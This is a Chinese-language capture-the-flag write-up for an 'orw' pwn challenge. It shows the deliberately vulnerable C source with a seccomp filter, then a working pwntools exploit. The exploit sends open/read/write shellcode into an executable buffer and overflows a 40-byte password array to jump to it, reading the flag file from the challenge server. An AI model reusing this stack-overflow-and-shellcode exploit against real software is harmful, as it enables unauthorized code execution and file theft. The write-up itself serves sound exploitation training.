題目原始碼
// gcc -fno-stack-protector -no-pie chal.c -o chal
#include <stdio.h>
#include <sys/mman.h>
#include <unistd.h>
#include "seccomp-bpf.h"
#define username_len 0x400
char username[username_len];
void apply_seccomp() {
struct sock_filter filter[] = {
VALIDATE_ARCHITECTURE,
EXAMINE_SYSCALL,
ALLOW_SYSCALL(read),
ALLOW_SYSCALL(write),
ALLOW_SYSCALL(open),
ALLOW_SYSCALL(close),
ALLOW_SYSCALL(openat),
ALLOW_SYSCALL(exit),
ALLOW_SYSCALL(exit_group),
ALLOW_SYSCALL(getdents),
ALLOW_SYSCALL(getrandom),
ALLOW_SYSCALL(brk),
ALLOW_SYSCALL(readlink),
ALLOW_SYSCALL(rt_sigreturn),
KILL_PROCESS,
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter) / sizeof(struct sock_filter)),
.filter = filter,
};
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {
perror("Seccomp Error");
exit(1);
};
if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog)) {
perror("Seccomp Error");
exit(1);
};
}
int main() {
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
unsigned long addr = (unsigned long)&username & ~0xfff;
mprotect((void *)addr, 0x1000, PROT_EXEC | PROT_READ | PROT_WRITE);
/* apply_seccomp(); */
char password[40];
printf("Username: ");
read(0, username, username_len);
printf("Password: ");
read(0, password, 0x40);
puts("Wrong username/password! Please try again.");
return 0;
}
解題
解題思路
題目只允許用部分syscall,我們用open,read,write,在username構建我們的payload,在password用overflow跳到username,將flag寫在終端機
解題
查看保護機制
查看能用的syscall
seccomp-tools dump share/orw
查詢username位置及password大小
objdump -M intel -d share/orw |grep -A 50 "<main>"
構建payload
from pwn import *
context.arch="amd64"
host="chall.nckuctf.org"
port=28206
r=remote(host,port)
username=0x4040a0
sc=asm("""
mov rax,0x67
push rax
mov rax,0x616c662f706d742f
push rax
mov rdi,rsp
xor rsi,rsi
xor rdx,rdx
mov rax,0x2
syscall
mov rdi,rax
mov rsi,rsp
mov rdx,0x30
mov rax,0x0
syscall
mov rdi,1
mov rax,0x1
syscall
""")
p=b'a'*0x38+p64(username)
r.sendlineafter(b': ',sc)
r.sendlineafter(b': ',p)
r.interactive()
r.close()
取得flag



說些什麼吧!